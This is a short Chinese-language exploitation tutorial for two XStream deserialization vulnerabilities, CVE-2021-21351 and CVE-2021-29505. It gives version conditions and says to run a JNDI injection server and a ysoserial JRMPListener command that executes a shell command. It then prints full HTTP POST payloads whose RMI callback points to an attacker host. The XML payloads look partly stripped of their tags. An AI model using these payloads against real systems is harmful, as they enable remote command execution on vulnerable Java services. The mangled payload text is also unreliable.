- 前言
- 1. CVE-2021-21351
- 1.1 利用
- 2. CVE-2021-29505
- 2.1 利用
XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。
XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.15 及之前版本黑名单存在缺陷,攻击者可利用javax.naming.ldap.Rdn_-RdnEntry及javax.sql.rowset.baseRowSet构造JNDI注入,进而执行任意命令。
1. CVE-2021-21351条件:版本<1.4.15
1.1 利用开启jndi服务器,这时候要用https://github.com/welk1n/JNDI-Injection-Exploit/工具其中的
这是因为目标版本jdk版本较高,trustURLCodebase配置默认为false,因此无法进行jndi注入,如果要绕过这个配置必须得依靠tomcat,因此才要采用第三个payload。
将全f的那行改为jndi服务器地址即可:
POST / HTTP/1.1 Host: 192.168.171.139:8080 Accept-Encoding: gzip, deflate Accept: ** Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/xml Content-Length: 3184ysomap -10086 <__overrideDefaultParser>false false false false false 1008 true 1000 0 2 0 0 0 true 1004 false rmi://192.168.171.1:1099/efxbup com.sun.rowset.JdbcRowSetImpl setAutoCommit boolean false false false -1 false false 1 1 false ysomap test
2. CVE-2021-29505在实战中,如果目标Java版本较低,POC需要做修改,将其中的<__overrideDefaultParser>false改成<__useServicesMechanism>false即可。
条件:版本<1.4.16
2.1 利用使用ysoserial开启rmi服务器
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "touch /tmp/success"
发送下面的数据包:
POST / HTTP/1.1 Host: 192.168.171.139:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Connection: close Content-Type: application/xml Content-Length: 31692 3 12345 com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content 12345



